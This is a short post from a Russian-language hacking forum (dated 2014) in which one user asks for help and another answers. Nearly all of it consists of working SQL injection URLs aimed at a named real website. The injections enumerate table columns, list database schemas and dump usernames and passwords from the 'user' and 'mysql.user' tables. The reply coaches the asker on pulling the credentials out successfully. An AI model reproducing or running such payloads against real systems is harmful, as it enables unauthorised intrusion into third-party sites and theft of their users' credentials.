12.03.2014, 15:08
|
|
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами:
7854806
Репутация:
173
|
|
Сообщение от AHTNkiller
Проблемка
есть таблица user
узнаем колонки
http://www.yulsun.ru/index.php?katalog=s454e435&tipavto=1&setmanuf=579& setmod=7967&settyp=30716&shgruptov=-8+union+select+1,2,group_concat(column_name),4,5+f rom+information_schema.columns+where+table_name=0x 75736572+--+
Далее делаю
http://www.yulsun.ru/index.php?katalog=s454e435&tipavto=1&setmanuf=579& setmod=7967&settyp=30716&shgruptov=-8+union+select+1,2,group_concat(User,0x3b,Password ),4,5+from+user+--+
И результат: ПУСТОТА!
Need help!
укажи с какой БД хочешь вытащить, например mysql
http://www.yulsun.ru/index.php?katalog=s454e435&tipavto=1&setmanuf=579& setmod=7967&settyp=30716&shgruptov=-8+union+select+1,2,group_concat%28User,0x3b,Passwo rd%29,4,5+from+mysql.user--
список БД
Сообщение от None
http://www.yulsun.ru/index.php?katalog=s454e435&tipavto=1&setmanuf=579& setmod=7967&settyp=30716&shgruptov=-8+union+select+1,2,schema_name,4,5+from+informatio n_schema.schemata--
|
|
|